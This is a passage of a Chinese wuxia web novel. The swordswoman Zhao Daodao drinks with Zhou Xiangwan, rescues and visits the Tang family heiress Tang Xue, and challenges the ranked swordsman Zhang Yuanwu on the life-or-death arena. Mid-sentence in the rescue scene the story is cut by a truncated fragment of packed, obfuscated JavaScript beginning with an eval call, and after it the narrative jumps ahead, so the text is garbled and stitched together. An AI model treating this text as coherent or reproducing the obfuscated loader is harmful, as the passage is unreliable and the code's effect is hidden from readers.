而周向晚不同,他看到美酒就像遇到心仪的刀剑,整个人恨不得泡进酒坛子里。说难听点,纯粹是个酒鬼。 不消片刻,赵刀刀心中补充:还是越喝话越多的那种。 她接着周向晚的话茬:“你进去过武洲?” 周向晚一只手端起酒杯,另一只手风流倜傥地扇起了扇子,“那当然了,唐家擂台的水准才到哪啊。” 她正准备问,周向晚又用扇子挡着神秘兮兮地靠近,与她说:“当然,不去生死擂就行。” 赵刀刀歪头看着周向晚,“生死擂是什么?” “嘿嘿,”周向晚饮尽一杯酒,他脸上已经泛红,却和所有喝醉的人一样觉得自己才开了个头,还没喝多少。“那你可问对人了。”满上一杯接着道:“唐家其实有两座擂台,一座就是大家都知道的那个,还有一座嘛……就是这三年才开一次的生死擂台了。算起来唐家擂台应该叫武洲擂台才差不多,而生死擂台才是真正属于唐家的。按唐家规矩,生死擂不论生死,不看出身,在场的无论是谁,只要下了战书,而对方又接了挑战就能上擂。”周向晚总结道,“要是有真本事,生死擂上,一朝跻身前百高手之列也不是没有可能。” 赵刀刀还不知道所谓的前百高手是个什么水平,问道:“那生死擂台……赢的人多吗?” 她想,利益如此之大,自然去的人多,人多了,赢得总会也多。 周向晚眯起一双醉眼盯着她,“你真会开玩笑。” “……” 他端起酒杯,皱眉盯着,奇怪这酒怎么在杯子里晃来晃去的,说,“一战成名者有是有,但很少,多的是眼高手低丧命于此的可怜人。高手可不在意挑战者的死活,生死擂大多有去无回,时间久了,谁不惜命呢?”又看看赵刀刀,“你……”他将扇子扣在桌上,发出一声响,“你应该不是这种傻子吧?” “……”赵刀刀抿了口酒,“嗯。” 她心里有些苦。 周向晚接着说,“要争排名,进了内城有的是机会。” 他几杯酒下肚,脸上飞红,心也飘了,便吹嘘起自己,“想当年,我还见识过天下前十的高手出招。那剑气一动,真是苍穹都为之变色,方圆百里都能感受到那种气魄,那才叫剑客啊!” 赵刀刀有几分好奇,问,“那当今天下第一呢,他是个什么样的角色?”她从船夫不着调的吹嘘中听过天下第一的离奇故事,此刻忽然想起,想知道现实到底如何。 周向晚盯着她,打了个酒隔,眼神有些迷离,“原来你是真不知道啊。” “什么?” “天下第一已经空了十几年了。” “……” 这还真是出乎意料。她想。 他接着道,“谁让天下第三一直打不过第二,天下第二总不能自己打自己,也只能一直空着了。” “哦。”赵刀刀感慨道,“真是可惜。”现实似乎比传言还要奇怪。 想起之前的听闻,她道,“听说曾经有位天下第一弃城跑了,这性格倒是像那位弃城而去开了先例的。” 周向晚的脸上只差写着“你怎么连这都不知道啊”几个大字了,他说,“你都从哪听来的这些半吊子传言,那是第二啊。” “天下第二?” “嗯,也只有这么个怪人第二能比第一名气还大了。说起这个,我真是想不明白,我要是他,怎么会好好的城主不当,去追求什么武道,真是傻的要命。自己不好过就算了,这歪风邪气一出,让后来的也不好过。不过那都是几十年前的事了,现在的规矩可比那会儿多多了。”他放下杯盏,“当然,最近跑了的第一也不是什么好东西。” 他提起这些人,语气中有敬重有不满,但被酒色冲淡了,敬重不多。 那天下第二要是知道自己淡泊名利的举动被后人这样评说,估计也挺伤心的,赵刀刀心想。周向晚口中的故事和她听来的大不一样,不知酒后胡言占了几分。 黑刀轻轻颤了两下。 她摸了摸自己的刀,越发好奇这里的高手是个什么样了。 在山上的时候不兴比试,几乎每日都是上课修炼,但光她知道的,就有不少人暗地切磋,分了高低。那些人满桶水的看不上半桶水的,半桶水的却眼高于顶,顺势聚成一团,欺侮他人。暗中排出的名次将人分了高下,有人自恃武艺高强,将不参与的弟子称作懦夫,仿佛不参与比试,就是武艺和胆气皆不如人。 赵刀刀没想到那些时日居然会远去,此刻坐在酒馆中,外面人群熙攘,街道崭新,就连阳光都和曾经不同,仿佛曾经种种只是一场梦。在这里——她的手指磕在黑刀上——唯有这把刀,和她一起见证过往日。 袖子里的蛇还在睡觉,整日都懒洋洋的。 周向晚还在喝酒,胡天胡地地说着。 赵刀刀听着觉得没有太新奇的了,打断道:“你呢,过了擂台后,你打算跟我到什么时候?” 周向晚笑了,这一笑竟有如清风拂来,吹散了酒气,让人耳目一新,觉得他像个清贵的公子。 让人觉得他还清醒着。 他说,“跟你到——你愿意让我摸摸你那把刀的时候。” “哦。” 他此刻最好是不清醒的。 赵刀刀也笑了,语气还算不上咬牙切齿,道,“那你就跟着吧。” 并不是每个爱酒的人都有自己以为的好酒量。 不过一坛半,周向晚就喝得酩酊大醉,趴在桌上安静了。 赵刀刀看他好像再难爬起来,叫了酒馆里打杂的把他抬到附近客栈的床上放下。 好在他酒量不行,却没有发酒疯,全程都十分配合。只是嘴上不停,嘟嘟囔囔了一路。 离开前,她走到床边,看了看周向晚握在手里的扇子,即使醉了,他也将扇子紧紧握在手中。 扇骨看起来很坚硬,扇面美丽而锐利。不像一把扇子,更像是一把兵器。 有趣的扇子。 赵刀刀关上门,回了自己那间。 她只喝了三杯,头仅有一点晕,不过她有自己独特的醒酒方式——练刀。 在山上的日子,开心了,就练刀,郁闷了,就练刀,难过了,还是练刀。 过去的时间让她察觉了一件事——只要想练刀,哪里都能练。 日积月累,成了习惯,时间不再难熬,只是变得单一。而越是练刀,就越难放下刀,这习惯既是修炼,也是折磨,成了很难改变的东西。赵刀刀渐渐接受了这样的自己。 这就是她的活法。 无聊至极的活法。 幸好,那把刀也接受了这样的她。 不过赵刀刀还不想拆了这间客栈,只比划了些轻巧的招式。她克制又灵活,黑刀仿佛是身体的一部分,动起来随心所至,行云流水。 听着外面的热闹的人潮,她慢慢收招。 “小刀啊……”赵刀刀温柔地擦拭着黑刀。 刀子精跟那条蛇学坏了,懒洋洋地应声,“嗯。” “我好像一身酒气。”她纠结道:“但是现在叫水的话,没有能换的衣服。” “……”刀子精拿她没什么办法,“想买就去买吧。” 她腼腆地笑了笑,“两件刚好,不会再多了。” 刀子精冷笑一声,道,“信你。” 赵刀刀如愿以偿,出去走了一圈,在先前留意过的店里买了件黑衣服。 她叫了水,梳洗完换上,将旧衣服折好给小二拿去洗了。 新衣服布料没有原来那件好,胜在价廉,和新。穿上这里的衣服,她好像真正焕然一新,也成了这里的人。 傍晚,周向晚还没醒。 赵刀刀便出去吃了饭,让小二把菜端到他房里去。 等了会儿去看,周向晚还是没动静。赵刀刀叹了口气。 她不喜欢在一个地方待着。 她打算自己出去消食。 她决定出去逛逛。 本该是这样的。 可惜天意难测。 总有一些意外。 巷子里,赵刀刀解决完最后几个追兵,将他们打晕绑了,趁四下无人飞身上墙,循着来路返回去找唐雪。 唐雪正瑟瑟发抖地躲在另一条街道的水缸旁边。 “……” 赵刀刀不想说话。 即使这地方黑的伸手不见五指,唐大小姐还是有能让人一眼察觉到她的本事。 她的首饰太多了。 叮叮当当,清脆悦耳,还抖得很有节奏。 赵刀刀走过去扶她起来,道,“大小姐,没事了,不过想抓你的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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然后认真的道谢,邀请她进去小坐。 赵刀刀婉拒。 就看到那人竟然也用和唐雪一样的,快要哭了的眼神看着她,恳求她,说是只待一会儿,很快的,等唐雪醒来就能走了。 “……”赵刀刀握刀的手握成了拳。 赵刀刀同意了。 既来之,则安之。只是她发现,唐家和她想象中的好像不太一样。 唐雪的房间在唐家堡不止一间。 那名弟子叫来几个侍女,把唐雪放在了离城门最近的一间屋子。 赵刀刀就这样被带到唐雪的房间。 站在门边,赵刀刀又感觉到一阵寒意。 这实在是个——很梦幻的房间。 小物件多的要放不下,堆满了每个角落。 房间已收拾的很整齐,但装饰物们风格迥异,实在很难在一个空间和谐相处。这间房仿佛把水城大小商铺尽浓缩于此,再将不相关的物件搭配在一起,拼接成难以描述的新鲜玩意儿。 不知何等的想象力才能造就这样一间独一无二的少女闺房。 随处可见的还有话本和暗器。 唐大小姐……倒真是个不拘小节的特别的姑娘。 赵刀刀站在这间屋中少见的有些手足无措,怕一不小心碰倒哪。 希望唐雪快点醒来吧。 或许是上天听到了她的愿望。刚被放在床上不久,唐大小姐就悠悠转醒了。 她的眉眼间还有泪水的痕迹。 唐雪看了看周围,不知道是不是认出了这是自己的房间,竟然有几分失落的样子。 赵刀刀看她醒了,冲周围的侍女点点头,就要离开。 唐雪出声了。 柔柔弱弱,殷殷切切。 “恩人去哪?” 赵刀刀走上前去,耐心地讲道理,“我救了你,送你回家,现在你已经安全,我该走了。” 然后就看着唐雪的眼泪说来就来,又抓住了她的袖子。 “恩人救了我,不该负责到底吗?” “……” 幸好买了新衣服。赵刀刀看着被抓的发皱的袖子,原来那件她还挺喜欢的。 “……你说的也有理。”她抽回袖子,僵硬地扯了个笑,“天色太晚,我明天来看你。” 赵刀刀欠身道,“告辞。” 她不想多待了,转身就走。 唐雪见她一定要走,得了约定便不再纠缠。 可惜周向晚介绍的东西里,半点没有唐家大小姐这一段。 虽然他也绝对想不到,世上真有人会多管闲事把这位大小姐救了。 因为唐家大小姐,绝对是个万中无一的超级粘人精。 而且还是个话本看多了的粘人精。 是以,虽然水城人人都知道,救了唐家大小姐,就是唐家座上宾。但不组个队凝聚一下勇气,还真没几个人敢掳了唐大小姐。 周向晚酒醒的第二个时辰。 赵刀刀悔不当初。 5. 擂台 虽然夜里满心牵挂着唐雪的事,但一沾上床,却意外的睡了个好觉。 第二天一大早,赵刀刀练过刀,就和周向晚动身去了唐家擂台报名处。 前来的侠客已排成长队,登记的人坐在长桌边,下笔如飞,他旁边还站了几个人,远远望去,赵刀刀觉得有几分眼熟,靠近细看,发现其中一个的确在昨夜见过。 “赵姑娘!” 那人像是也看见她了,挥了挥手,语气激动。 赵刀刀看了看周围,指着自己,不确定道:“我……?” 周围人的目光霎时也聚焦于这个没排队的年轻少女。 登记的喝道:“下一位!” “我我我,来了来了!”侠客们移走的目光又回到了队伍上。 “没错哈哈,赵姑娘!”那人一路小跑过来,将她和周向晚带到一边,挠挠头,说:“我叫唐丘,昨晚忘记说了,赵姑娘应该还记得我吧。” 赵刀刀点点头,她记得他,印象深刻。昨晚就是他用神似唐雪的悬而欲泣的表情看着她,让她留到唐雪醒来。 “这位是——赵姑娘的朋友?” 赵刀刀颔首,“嗯,他是……”赵刀刀看向周向晚。 周向晚展扇轻笑,低头垂眸道,“在下周向晚。”神情谦逊,端的一副翩翩公子模样。 赵刀刀不着痕迹地将周向晚从头到脚打量一番,在心里打趣,昨夜谈起唐家,他可不是这种乖顺模样。 唐丘笑了笑,“赵姑娘、周少侠,这边走。” 他邀请赵刀刀和周向晚直接进去,竟是连在门口的登记也不用了。 赵刀刀进门后回头看了眼后面排成长龙的队伍。 这就是——有朋友的感觉吗?! 她心中微微激动。 虽然昨晚的相遇并不能算得上美好。 但她一向是个心胸宽广的好人。 从此刻开始,她决定不计前嫌,公正地对待唐大小姐。 周向晚这才知道赵刀刀没有骗他。 她是真的惹了个大麻烦,这一晚上唐家估计已经将他们查了个底儿清。看赵刀刀没心没肺不设防的样子,她大概不在乎这些,但他还不想因此牵扯别的事。 不过,周向晚思索道,唐家不像是会多管闲事的,他原地停了片刻,便扇着扇子,整理好自己的表情,跟着赵刀刀一起进去。 唐家堡里。 唐雪已经等了很久,正要自己出去找人。 周围的侍女不停劝阻,说着好话。 这时,前厅走来了两人。 唐雪眼前一亮! “恩人!”唐雪高兴地跑过来。“我就知道恩人一言九鼎,说话一定算话的!” 赵刀刀笑了笑,“是啊。” 除非进武洲还有别的路。 那她就未必守信了。 唐雪拉着她坐下,抱怨道,“恩人昨天连名字也不留就走了,我派人找了一晚上,可来武洲的人好多,爹爹还不让我动太多人手……要不是恩人今天过来,我真不知道该上哪儿去找你了。” 赵刀刀微笑:“那还真是麻烦你了。” 唐雪害羞道:“也没有啦。” 周向晚顺从安排坐在一边,将呼吸放得又慢又轻,挺直了背,安静的像尊雕塑。 唐雪问:“恩人这次来是准备上擂台进武洲的吧?”不待作答,她自顾自道,“恩人不去也可以的,反正你已经是唐家的客人了,他们也不能说什么。” 虽然听周向晚说过,唐家确实有此规矩,但赵刀刀总觉得唐大小姐的说法有些奇怪。她回敬道,“那还真是谢谢你了。” 唐雪含笑垂首,“恩人不用这样客气的。”又说,“等下擂台就要开始了,恩人要跟我一起去看看吗?” 赵刀刀心底一直对这擂台有几分好奇。“嗯。” 唐雪高兴地吩咐人多加两把椅子。到时间,就开开心心地带着他们过去了。 他们的位子正对着生死擂台,这边冷清,不引人注目,旁边的普通擂台也能一览无遗。 唐雪一直兴奋地同赵刀刀交谈。 周向晚暗自惊叹于唐雪对赵刀刀的认真。他漂流于武洲之外,已见过很多热烈的人,但大多外冷内热,这样恳切心热又话多的粘人精还真是头一次见,只能说一句名不虚传了。 更别提唐雪认识赵刀刀的时间比他还短。 他又看一眼赵刀刀,出乎意料——她比他想象的还要适应良好。周向晚磕着扇骨,心道:是因为没有其他心思,所以她面对这种热情才颇有余裕? “这次擂台,不算今日已有五千人登台,不过还没人登过生死擂呢。”唐雪的语气低落下去,有些惋惜,“生死擂如今三年才开一次,上回就一直空着没人,今年怕是又要空下去了。” “为什么?”赵刀刀看着远处的人群,听着那边不时爆发的欢呼与嘘声,他们看起来自信又自负,天底下没有比这样的少年人更渴望成名的了。黑刀就横放在椅子旁边的矮桌上,她的手忍不住轻轻搭上刀柄。“虽然危险,但过了生死擂,还能有多少机会能遇到那些高手,挑战他们呢?” 人生的际遇如此不同,求得一战的机会也总是转瞬即逝,对许多人来说,一旦过了这里,或许此生都无法触及那些遥远的人了。 “大约是惜命?恩人也知道生死擂的规矩吧,输赢生死定。有赢家,自然也有输家,谁都想风光无限,可站上台总有人要输的,如果站上去就只能输一次,谁愿意当输家呢。来这里的人大多只是想进武洲而已,一年不行就再来一年,又何必去赌这个唯一呢?”唐雪既惋惜没人登擂,又理解这些侠士。只是她以为的少年风骨……原来不过是话本笑谈。 输赢生死定——赵刀刀思忖道,之前周向晚只是带过一笔,她以为生死擂无所谓生死,但双方默许的情况下点到即止,分出输赢便收手也可以,现在看来没这么简单。“你说的对。生赢死败,这样的擂台……” 唐雪问:“恩人觉得生死擂残忍吗?” 赵刀刀想了想,“不。登擂……不是一个人能决定的事,既然彼此都认下了规矩,那登擂之后就不该后悔。” 唐家擂台和生死擂台像是两条截然不同的路,既然选择放弃稳妥去争更大的甜头,就也得做好准备吞下更大的苦果。 唐雪沉默片刻,用那双清澈的眼眸看着赵刀刀,问:“如果是恩人站在那里,”她指着入口处,那里有两条路通向两个擂台。“你会去哪个擂台?” “生死擂。” 周向晚突然扭头看着赵刀刀,那眼神在问:“你说真的?!” 赵刀刀将黑刀横放在膝上,解释道:“我对他们谁也不熟,两个擂台对我没什么不同,只是……如果有机会,我想试试。” 她说不清缘由,在山上的日子明明遇到人只会绕道走,避免争端,到了这里心却像放飞的笼鸟一般,妄想一切都随心所欲。如果一定要给出理由——赵刀刀轻抚刀锋,她想起遇到黑刀那年夸下的海口。 唐雪弯着眼睛,“我就知道恩人是不同的。”她看过那么多的话本,从小就期盼着有什么英雄一样的少年出现,哪怕所有人都告诉她话本里的人是假的,她也执着地等待。等到她越长越大,能分清真实和编造,忽而觉得自己幼稚可笑,仍不忍放下这种执着。 如果这江湖不是她想要的江湖,离不离开水城又有什么所谓,她会永远待在唐家。 可她遇到了。 “恩人。”唐雪道:“其实……现在人们说的唐家擂台其实出现在生死擂之后。早年英雄豪杰快意恩仇,生死二字从脱口到落下,不过转瞬。可覆巢之下安有完卵,又有多少无辜因此而逝?唐家生死擂最初是为了解决江湖恩怨而设,擂台上消解仇怨,擂台下不得牵连无辜,生死签定,唐家作保,不容僭越。后来世道太平,便成了切磋之上,追求极致的擂台。”她的声音慢下来,沉稳而自豪,“全武洲,没有比这里更公平的擂台,正因如此,后来又在此设下新擂,将武洲的大门安心交给唐家。” 话音一转,唐雪又轻快道:“不过我爹说了,就算不上生死擂,也是大侠!” 赵刀刀点头。 唐雪笑了下,侧过头 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“唔……”唐雪食指蜷着和拇指一起抵住下巴,“也不是天天来啦,一般有好玩的,厉害的我才过来看,不过……今天应该会看久一点。” “为什么?” “恩人不知,这江湖上有几分能耐的大侠,都喜欢赶着点儿来,让别人等他。今天离结束还有两天,差不多是时候了。” 那边擂台又换了人上场,赵刀刀好奇道:“他们是按什么次序上台比试?” 唐雪道:“抽签。每天擂台分早上和下午两场,每场人齐之后,会将所有人的名字放在一起,先到者先抽。” 这样看来,生死擂和唐家擂台的确完全不同。 生死擂是可以指定人选的。 几场后。 赵刀刀坐的有些累,站起身活动两下,绕到唐雪身后,随口问,“这么多人,最厉害的是谁啊?” “啊?”唐雪愣了下才意识到恩人是在问她。 她忽然笑得很开心。 “很多人没进过武洲,第一次来,不好说,不算他们的话,这次……那个——”唐雪伸手指了指,“应该是那个老头。” 那人离他们不远,也在特定的观赛台上。 赵刀刀看过去,那人胡子两撇一竖,两边的向上飞扬,眼睛压在黑白的粗眉下,人看着颇精悍,神采奕奕的,不算太老。 那人十分敏锐,觉察到他们的视线,往这边看了一眼,看见唐雪,又转回了视线。 唐雪食指磕着桌子回想着,“据说是江湖名人榜前百的人物……”她又仔细想了想,“我记得是——榜尾吧,叫什么……张元武?” 张元武正倨傲地坐在高处,这不是他第一次来唐家擂台坐镇,凭着前百的名号,在坐席上他收到敬仰的目光并不稀奇。奇怪的是刚才唐家大小姐看了过来——掌管唐家擂台的一半是唐家人,一半是武洲派来的,唐雪从前并不待见他,他也不需要讨好她,不知今天她怎么关注起这边了。 张元武仔细回想,刚才看过来的并非他熟悉的眼神,唐雪周围的几人他也没见过,他捻起一撮胡须思索,应该是唐雪带来的朋友,想来都是一群小辈罢了,不足为奇。 一整个早上,剩下的时间赵刀刀都在观察张元武。 看他的眼神,双手,站起走动的样子……越看心中越觉得奇怪——她怎么觉得,这就是个内力虚浮的老头? 这就是前百的强者吗。 是靠怎样的运气才能混到现在还没被揭穿啊。 赵刀刀轻拍周向晚的肩,“周向晚,下午开擂前带我去登记下。” 周向晚心中咯噔一下,隐隐有一个猜测——她想去的不是唐家擂台。“你要……” 赵刀刀的眼神掠过张元武。 周向晚心道,果然。“好。” 唐雪听到他们交谈,探头看过来:“恩人下午要去……” “生死擂。” 赵刀刀笑了。 “我想和他比划比划。” 6. 一战 “啊?”唐雪有些震惊,以为自己听错了,又看着赵刀刀的眼睛确认了遍。 赵刀刀点头。 她来这里这么久,还没有真正的试过刀。 最主要的,知道那人居然能排到九十九之后,赵刀刀觉得还挺刺眼的。 她轻轻撇了下嘴角。 唐雪不了解张元武,她一向不喜欢这自视甚高的老头,没兴趣了解他,也不在乎他的事。 张元武身边围着的武洲人、擂台边围着的所有人都不了解张元武,他们知道他的名号,听过他的传言,却鲜少见过他出手。 来看擂的人大多对道听途说的故事如数家珍,讲起来头头是道,仿佛亲眼见证张元武如何拔剑出招以一当十,旁边不熟悉张元武的人问起来,他们少不得吹嘘一番,语调自豪,光是讲出来,便与有荣焉。 唐雪知道,那些名号不足以让人真正了解一个人。 仔细一想,她才发现自己还没见过这位天下第九十九的真正本事,只知道有擂台的时候,张元武经常会来,听说很厉害。父亲没有和他交谈过,鲜少提起他,却也没有阻止他常来。 “恩人真的要去啊?”唐雪有几分担心,“他在这坐了几届了,我还没见过他出手呢。”又补充道,“也没见过有人挑战他。” 唐雪蹙眉纠结,她想看看赵刀刀的本事,又怕她在台上会输,小声建议道,“要不恩人你挑个百来名的吧?唐家高手也很多的。比如……”她左右看了看,指着一个人道,“恩人你看见没,那是唐二,他也很厉害的,你可以和他比!” 越想越觉得不错,唐二可比什么张元武有底多了。 唐二察觉到视线望过来,见唐雪若有所思的神情直觉不妙,但唐雪只是看,迟迟没有叫他,便又装作没看到转过身。 赵刀刀摇头。 可惜唐雪还够不了解她。 有些人一旦决定什么,就犟的像头牛。 赵刀刀正是其中翘楚。 “你没见过他出手?——那正好,”赵刀刀说,“今天你就可以见到了。” 赵刀刀没有拿刀,却如利刃出鞘般锋芒毕露。 唐雪眼睛更亮了—— 这风度、这和她在话本上看到的大侠风度一模一样! 唐小姐还没意识到,她看的话本里可没这样的姑娘,最关键的性别反了。 但在此时的唐雪眼中,话本中的英雄豪杰都黯然失色,比不上赵刀刀一分一毫,看惯了灰突突的唐家擂台处,她觉得恩人在发光。 赵刀刀说完,没注意唐雪又小声说了什么,就过去报名了。 场记知道她是唐家的客人,本想劝阻,朝唐雪看去,见唐雪坐在原地发愣半点不阻拦,叹了口气,将生死擂的规矩说了一遍,问:“赵姑娘,你真要上生死擂?” “嗯。” “好。”他心累道,“赵姑娘,寻常擂台和生死擂不会同时开擂比试,生死擂次序自定,会插进正常的比试里,你打算什么时候比呢,要我……”调后些么? 赵刀刀一时又有些心潮澎湃——竟然可以随意改变次序?这就是有朋友的感觉吗?!“能现在就比吗?” 场记噎了下,咽下嘴里的话,“……好。”他拖着长音,又看了眼唐雪,大小姐依旧没有任何吩咐,他的手在空中悬了悬,还是将赵刀刀的名次提前。 生死擂不同于其他擂台的特别之处即在这里,提出挑战的人,可以自己决定比试的次序。这是给予勇者的奖励。 赵刀刀见自己的名字被写下,心砰砰直跳,平复着起伏的心情,回到唐雪那边拿刀。 走到唐雪身边的时候还有一场就到她了,她将衣袖发带一一束紧,磕了磕鞋子后跟。 唐雪觉得拿着刀的赵刀刀和刚才的样子有所不同,但又分辨不出具体哪里不同,她知道次序之后本想劝,转念一想又明白恩人定是有自己的想法,便没再劝,问,“你要去后面热热身吗?我家这后面有个演武场,不远,我可以陪你去的。我看许多侠士上擂台之前都会找僻静处熟练招式,好像挺管用的。”她小声说,“我还没见过你的刀法呢。” 说着说着唐雪自己倒坐不住了,“要不还是算了吧,下次再比也行?” 赵刀刀摇了摇头,“没事。” 见唐雪还直直地盯着她,比自己还焦急,赵刀刀垂下眼笑了笑。她从没见过有人用这样的眼神看向自己,好像有些期待,有些温暖,她不知如何应对,便伸手虚虚盖住了唐雪的眼睛。 轻声安抚道,“没事,不用担心的。” 然后放下手接着看擂台的情况。 她转身避开了视线,也就没看到她放下手背朝唐雪之后,唐雪慢慢的,用两只手捂住了脸。 唐雪觉得自己的脸很烫。 确实如此,看上去红扑扑的。 她本就是个美人。 玉肌花脸柳腰肢,红妆浅黛眉。 此时娇羞无限。 更添许多风情。 但唐雪捂住了脸,此刻只想借恩人朋友的扇子扇一扇。 “呼——”她小声地呼气,轻拍脸颊平复颜色,还好恩人没有看她。 这一场快结束了。 春寒的风把温度降下去几分。 “下一场——赵刀刀对——张元武!” 被张元武的名字点燃,本就热闹的场子哗然一片,底下的观众议论纷纷。 “欸欸欸,我记得,张元武是排名前百的高手吧?” “没错没错,我看过十几场了,还没看到有人敢和他打呢。” “赵刀刀又是谁啊?” “谁?赵刀刀?” “不知道。” “没听过。” “唉,本来以为是什么厉害的,估计不到一刻钟就要下来了,真是没看头。赶紧下一把吧,我还打算看齐公子的断水剑法呢!” “欸?这位兄弟,你说的可是那个齐公子?” “当然了,这可是他第一次出山游历,听说要堂堂正正通过擂台,去内城找他师父!” “哇,齐公子的比赛一定很精彩了,这什么赵刀刀,还是赶紧输了下台吧,别浪费大伙儿时间。” “等等,唐家擂台怎么人空了?” “看生死擂——!” “人怎么都去那边了?!” “居然是生死擂!不要命啦?” …… 于是。 在观众的嘘声中,在唐雪愈发灼热的目光中,在周向晚目瞪口呆的神情中—— 赵刀刀上了生死擂。 她神态轻松,仿佛只是走在街道一样的平常地方。 张元武还没有动。 他刚才边听身边人说了,没有拒绝那不自量力的战书,这会儿听到自己的名字,也听到了人群的嘘声与讨论,目光越过众人看向那个擂台中央的人,一个毛头小姑娘。 那个叫赵刀刀的小姑娘不知在想什么,许是第一次见到这么大场面,竟然站在台上发呆。 张元武心中不屑,神情波澜不惊。 在观众眼中,他站在台下,负手而立,衣摆无风自动,对比像是发楞的赵刀刀更显得沉着自若,一副高手风范。 很可惜,赵刀刀没功夫去欣赏他的排面。 她的心的确飘了,因为这是她第一次上擂台。 她对擂台的每一处都很好奇。 和裁判确认过不影响什么,赵刀刀就仔细地绕着擂台走了一圈,看了一遍。 她的举动很古怪,底下的人摸不着头脑,看擂台这么久,还真没见过人站在擂台上逛街的,那专注的神情活像是第一次进城,看到什么都觉得新奇。 周向晚看她的样子就知道她是第一次来唐家擂台,再结合之前所说,赵刀刀似乎对武洲一无所知,他摸着下巴思索,她是从哪儿来的……隐世门派?这样一个人,第一次来唐家擂台就选择登上生死擂,是胆量还是实力? 见赵刀刀满脸新奇并不慌张,他的担心散去一些,好奇占据上风,好奇赵刀刀,更好奇那把黑刀。 尘埃落定,既然赵刀刀选择登擂,他信她。信任的源头不只是人,还有那把刀,周向晚早注意到那特殊的武器,事实上,任何人看到赵刀刀的第一眼都很难不去看那把黑刀。想到煞气逼人的刀,周向晚坐直了身子,不打算放过每一处细节。 他想,纵使赵刀刀输了也无所谓,最不济……他看了看旁边同样聚精会 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底下围着的人还在叽叽喳喳,讥讽的声音越来越多,开盘的到了她这场也收了庄,打算看笑话。 没有人觉得她会赢。 但赵刀刀胸中久积的郁气却被长长地呼出。 她不再关注周围的声音,只觉得一切都新鲜极了,爽快极了,就像清晨站在山顶终于等到日出,呼吸着第一口微带潮湿的空气,新鲜的气从胸口蔓延四肢,浑身都感到无尽的清爽。 赵刀刀对嘘声毫不在意,嘈杂的声音也在耳畔归于沉寂,最后,脑海中只剩下一个想法挥之不去——她要赢! 好在那小姑娘也没有让人等太久。 张元武见她回神,缓步上台。他脸上始终没有任何表情,不喜不悲,步伐稳健,底下有人窃窃私语,觉得他每走上一级台阶,胜利就多靠近一分,似乎赵刀刀还没有比试,便败局已定。 不过年轻人有胆量也算是优点了。 张元武上台了。 赵刀刀的注意力转移到他身上。 他语重心长道,“小姑娘勇气可嘉,老夫可以留你一命。”又说,“以后行事莫要这样乖张了。” 赵刀刀不是不听建议的人,她看着自己的对手,手指活动一番又抓紧刀柄,想了想,礼貌回道,“谢谢。” 应该给够尊重了,她想。 却见对面那人脸僵的像石头,满是皱纹的脸皮被胡子牵连着动了一下,似乎是嘴角微微抽了抽。 “哼,冥顽不灵。”张元武不打算再给她机会,没见过世面的年轻人太不讲礼数,是需要磨练磨练。 裁判下场,二人拉开距离,比赛开始。 张元武仔细观察赵刀刀,她的神态不见变化,是真的不怕还是无知无畏?转念又想,难道从上台开始这黄毛小儿就一直在使激将法?诡计多端!罢了,他这把年纪,断不会再中这样的诡计。 他凝神静气,不再多想。 调整好心态,张元武最后一次礼让道,“姑娘请吧。” 他观察赵刀刀时,赵刀刀也一直看着他,看他抬手示意,点了点头。 她拔出黑刀,横刀胸前,却没有出招,挽了个花儿便负手而立,执刀身后。 张元武以为她耍完架子就要出招,等了又等。 却没有动静。 台上两个人简直不像是来比武的,生死擂上何时有过这么和平的景象?底下的人窃窃私语,他们看看张元武,又看看赵刀刀,只觉得这两个人都叫人不满,不过张元武尚有谦让的底气,赵刀刀在装什么他们是真不明白。 “这是哪家弟子?回去要被逐出师门了吧?”有人低声问。 旁边人嗤笑回道:“说不定人家已经被逐出师门了呢?” 纵使听不清旁人在说什么,张元武也知道不是什么好话。 见赵刀刀负刀而立便没了下一步,他失去耐心,终于变了表情,有些讥讽地笑道,“姑娘这是开始害怕了吗?现在认输……”倒也来得及。 观众的声音更大了。 “非也,”赵刀刀慢悠悠道,摇了摇头,专注地看着他说,“我只是想看你出招。” 7. 声名 上 张元武的武器是一把长剑,正是时下最新的款式。 剑鞘低调奢华,镶嵌着圆润的珠玉宝石,看起来就价值不菲。 那把剑靠近剑柄的位置刻着他尊贵的大名——“元武”二字。 他拂了拂胡子,说,“姑娘既已上擂台,倒也不必如此害怕。你出招之后,老夫自然会出招。” “当然,”他又补充道,“老夫会手下留情的。” 他叹了口气,目光和蔼,仿佛在看着不懂事的后辈。 “你会错意了。”赵刀刀也叹一口气。“我是怕,我出招之后,就看不到你出招了。” ——台下寂静一瞬,又轰然笑开,底下的人都在笑赵刀刀不自量力,戏谑的语气夸张而尖锐。 周向晚展扇轻摇,有些担忧,不明白她为什么要一再挑衅。 赵刀刀听到了笑声,她能理解那些嘲笑。 又叹了口气。 可她说的确实是真话啊。 “唉。”赵刀刀破罐子破摔,抛下不多的礼数,扬起下巴,“老头儿,出招吧。磨磨唧唧,算什么好汉?” 古老的招式,一如既往的好用。 “哼!”张元武唾骂道,“黄口小儿,敬酒不吃吃罚酒!”他已经给她几次机会,这人却不知珍惜,三番两次挑衅于他,是可忍孰不可忍。 张元武的剑猝然出鞘,他举剑向前,看准了她的身位,身形划过一道残影,宝剑的辉光刺人眼球。 他自信满满的提起了嘴角—— 一剑却刺空! 张元武皱了皱眉。 赵刀刀在原地,并没有移动,只是侧过上身。 甚至,她这时候连刀都反举在身后。 端着全然无害的模样。 一副不想出招的样子。 让人看了牙痒痒。 她顺着胸前的长剑看向张元武,点点头,嘴角微勾,说,“再来。” 张元武冷哼一声,第一剑是他大意,第二剑可不会那样轻松了。 他已多年没有这样专注,眼中赵刀刀的身影避无可避,剑招虚晃两下才斜刺而下。 偏偏—— 又是挥空! 底下的交谈声转了风向。 台上却丝毫不受影响。 赵刀刀目光追随着他手里的剑,轻声说,“再来。” 张元武从没有想到,自己平生还能遇到这样招人恨的小辈,只是短短几个来回,就叫人恨她入骨! 他吐纳变招,使出了他十几年都没有使过的剑法,那曾经是他的成名一剑——惊风起! 这剑招他只练到一式,就已然成为百大高手之一。 这么多年,还从没有人将他逼到这种地步! 生死擂台上响起了风声,那是是狂风嘶吼般的剑意! 眼看剑尖就要碰到赵刀刀的脖子! 只差一毫—— 然而还是落空! 黑刀格挡着长剑,在赵刀刀脸上落下黑色的一道影子。 张元武只听到那个讨人厌的声音,不带起伏地说着,“再来。” 几十招,怎么可能没有一招碰到她的衣角! 